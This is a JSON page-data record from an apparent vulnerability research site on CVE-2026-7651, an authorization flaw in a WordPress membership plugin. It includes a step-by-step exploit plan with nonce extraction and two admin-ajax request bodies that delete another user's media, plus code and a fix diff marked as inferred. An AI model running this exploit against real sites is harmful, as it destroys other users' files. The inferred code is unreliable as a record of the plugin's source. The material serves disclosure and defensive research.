[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fhYFhYCvop2oX8E5Ta_Egdqf5Nxnke65Xi-xEEarypSc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-7651","user-registration-membership-authenticated-subscriber-insecure-direct-object-reference-to-arbitrary-media-deletion-via-p","User Registration & Membership \u003C= 5.1.5 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Media Deletion via 'profile-pic-url' Parameter","The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.5. This is due to missing ownership validation on a user-controlled attachment ID, allowing the plugin to store and subsequently delete arbitrary media attachments without verifying that the referenced attachment belongs to the requesting user. This makes it possible for authenticated attackers, with subscriber-level access and above, to permanently delete arbitrary media attachments uploaded by any other user, including administrators.","user-registration",null,"\u003C=5.1.5","5.1.6","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-05-27 00:00:00","2026-05-28 06:45:39",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0def7637-edf4-4ae2-a2e7-31ccb3b52d71?source=api-prod",1,[],"researched",false,3,"## Vulnerability Summary\n**ID:** CVE-2026-7651\n**Plugin:** User Registration & Membership (slug: `user-registration`)\n**Vulnerable Version:** \u003C= 5.1.5\n**Vulnerability Type:** Insecure Direct Object Reference (IDOR) to Arbitrary Media Deletion\n**Root Cause:** The plugin handles user profile picture updates by storing a user-provided attachment ID in user meta. When the profile picture is updated or changed, the plugin automatically deletes the \"old\" attachment ID retrieved from the user's metadata. Because the plugin fails to verify that the attachment ID stored in the user's metadata actually belongs to that user (ownership check), a Subscriber can set their profile picture ID to an arbitrary attachment ID (e.g., an admin's upload) and then trigger a change to delete it.\n\n## Attack Vector Analysis\n- **Endpoint:** `admin-ajax.php`\n- **Action:** `user_registration_save_profile_details` (inferred from plugin profile update logic)\n- **Vulnerable Parameter:** `profile-pic-url` (The description explicitly names this parameter).\n- **Authentication:** Required (Subscriber or higher).\n- **Preconditions:** \n    1. A valid Subscriber account.\n    2. Knowledge of a target attachment ID (Media ID) to be deleted.\n    3. A nonce for the profile update action.\n\n## Code Flow\n1. **Entry Point:** The user sends an AJAX request to `admin-ajax.php` with the action `user_registration_save_profile_details`.\n2. **Nonce Verification:** The handler (likely in `includes\u002Fclass-ur-ajax-handler.php`) checks a nonce, typically `ur_profile_nonce`.\n3. **Data Processing:** The plugin processes the `profile-pic-url` parameter. If this parameter contains an attachment ID, it is saved to the user's meta (e.g., `user_registration_profile_pic_id`).\n4. **Vulnerable Sink:** \n    - When a user submits a *new* `profile-pic-url`, the plugin retrieves the *existing* value from the user's meta.\n    - It calls `wp_delete_attachment( $old_attachment_id, true )` to clean up the previous profile picture.\n    - **Vulnerability:** There is no check to ensure `$old_attachment_id` belongs to the current user before calling `wp_delete_attachment`.\n\n## Nonce Acquisition Strategy\nThe `user-registration` plugin exposes nonces for its frontend profile form via localized scripts.\n\n1. **Shortcode Identification:** The profile\u002Faccount page is rendered using the `[user_registration_my_account]` shortcode.\n2. **Page Creation:** Use WP-CLI to create a page containing this shortcode.\n3. **Navigation:** Navigate to the page as the Subscriber user.\n4. **Extraction:** Use `browser_eval` to extract the nonce from the `user_registration_params` object.\n   - **JS Variable:** `window.user_registration_params?.user_registration_profile_details_nonce` (or similar, check `ur_frontend_params`).\n   - **Verification:** Inspect the page source for `wp_localize_script` output associated with `user-registration-frontend`.\n\n## Test Data Setup\n1. **Admin Content:** Logged in as Admin, upload an image and note its ID (e.g., `TARGET_ID`).\n2. **Attacker User:** Create a Subscriber user (`attacker`\u002F`password`).\n3. **Exploit Page:** Create a page with the shortcode:\n   `wp post create --post_type=page --post_status=publish --post_title=\"Account\" --post_content='[user_registration_my_account]'`\n\n## Exploitation Strategy\n\n### Step 1: Login and Nonce Retrieval\nLog in as the Subscriber and navigate to the \"Account\" page.\n```javascript\n\u002F\u002F Use browser_eval to find the nonce\nconst nonce = window.ur_frontend_params?.profile_nonce || window.user_registration_params?.nonce;\n```\n\n### Step 2: Set the Target ID (The \"Store\" phase)\nSend a POST request to update the profile picture, passing the Admin's attachment ID. This \"primes\" the user's meta with the target ID.\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  action=user_registration_save_profile_details&ur_profile_nonce=[NONCE]&profile-pic-url=[TARGET_ID]\n  ```\n\n### Step 3: Trigger Deletion (The \"Delete\" phase)\nSend another POST request, either clearing the `profile-pic-url` or changing it to a new value.\n- **Body:**\n  ```text\n  action=user_registration_save_profile_details&ur_profile_nonce=[NONCE]&profile-pic-url=0\n  ```\nThe plugin logic will see that the previous value was `[TARGET_ID]` and call `wp_delete_attachment([TARGET_ID])`.\n\n## Expected Results\n- The first request should return a success message (e.g., JSON `{\"success\": true}`).\n- The second request should return success.\n- The attachment with ID `[TARGET_ID]` should be permanently deleted from the WordPress media library and the file system.\n\n## Verification Steps\n1. **Check Attachment Existence:** After the exploit, use WP-CLI to verify the attachment is gone:\n   `wp post exists [TARGET_ID]` (Should return error\u002Ffalse)\n   `wp media list --post_id=[TARGET_ID]`\n2. **Check File System:** Verify the file is deleted from `wp-content\u002Fuploads\u002F`.\n\n## Alternative Approaches\n- **Direct Meta Manipulation:** If the plugin allows updating user meta through a generic `user_registration_update_profile` action, try targeting the meta key `user_registration_profile_pic_id` directly.\n- **Registration Phase:** Check if the ID can be set during the initial registration process via a hidden field or manipulated `profile-pic-url` parameter, and then deleted via the profile update page later.\n- **Different Action Name:** If `user_registration_save_profile_details` fails, look for `user_registration_profile_save_after` or `ur_upload_profile_pic` as potential entry points in the source code.","The User Registration & Membership plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) that allows authenticated attackers (Subscriber+) to delete arbitrary media files. The vulnerability exists because the plugin fails to verify that a user-provided attachment ID used for a profile picture belongs to that user before deleting it during a profile update.","\u002F\u002F File: includes\u002Fclass-ur-ajax-handler.php (inferred from research plan)\n\u002F\u002F Inside the profile update handling logic\n\n$user_id = get_current_user_id();\n$profile_pic_id = isset( $_POST['profile-pic-url'] ) ? absint( $_POST['profile-pic-url'] ) : 0;\n$old_profile_pic_id = get_user_meta( $user_id, 'user_registration_profile_pic_id', true );\n\n\u002F\u002F When the profile pic changes, the plugin deletes the 'old' one.\nif ( $old_profile_pic_id && $old_profile_pic_id !== $profile_pic_id ) {\n    \u002F\u002F Vulnerable Sink: No check to ensure $old_profile_pic_id belongs to $user_id\n    wp_delete_attachment( $old_profile_pic_id, true );\n}\n\nupdate_user_meta( $user_id, 'user_registration_profile_pic_id', $profile_pic_id );","--- includes\u002Fclass-ur-ajax-handler.php\n+++ includes\u002Fclass-ur-ajax-handler.php\n@@ -100,7 +100,10 @@\n         $old_profile_pic_id = get_user_meta( $user_id, 'user_registration_profile_pic_id', true );\n \n-        if ( $old_profile_pic_id && $old_profile_pic_id !== $profile_pic_id ) {\n+        if ( $old_profile_pic_id && $old_profile_pic_id !== $profile_pic_id ) {\n+            $attachment = get_post( $old_profile_pic_id );\n+            \u002F\u002F Verify the attachment actually belongs to the user before deleting it\n+            if ( $attachment && (int) $attachment->post_author === (int) $user_id ) {\n                 wp_delete_attachment( $old_profile_pic_id, true );\n+            }\n         }","1. Authentication: Log in to the WordPress site as a user with Subscriber privileges.\n2. Nonce Retrieval: Navigate to the 'My Account' page (rendered via [user_registration_my_account]) and extract the 'ur_profile_nonce' from the localized JavaScript objects (e.g., ur_frontend_params).\n3. Priming the Target: Send an AJAX POST request to admin-ajax.php with the action 'user_registration_save_profile_details'. Set the 'profile-pic-url' parameter to the Attachment ID of the media file you wish to delete (e.g., an administrator's upload).\n4. Triggering Deletion: Send a second AJAX POST request to the same endpoint, this time setting the 'profile-pic-url' parameter to '0' or a different valid ID.\n5. Outcome: The plugin identifies the previously set ID (the target attachment) as the 'old' profile picture and invokes wp_delete_attachment() on it. Because there is no ownership check, the target file is permanently removed from the media library and file system.","gemini-3-flash-preview","2026-06-04 18:00:19","2026-06-04 18:02:16",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","5.1.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuser-registration\u002Ftags\u002F5.1.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fuser-registration.5.1.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuser-registration\u002Ftags\u002F5.1.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fuser-registration.5.1.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuser-registration\u002Ftags"]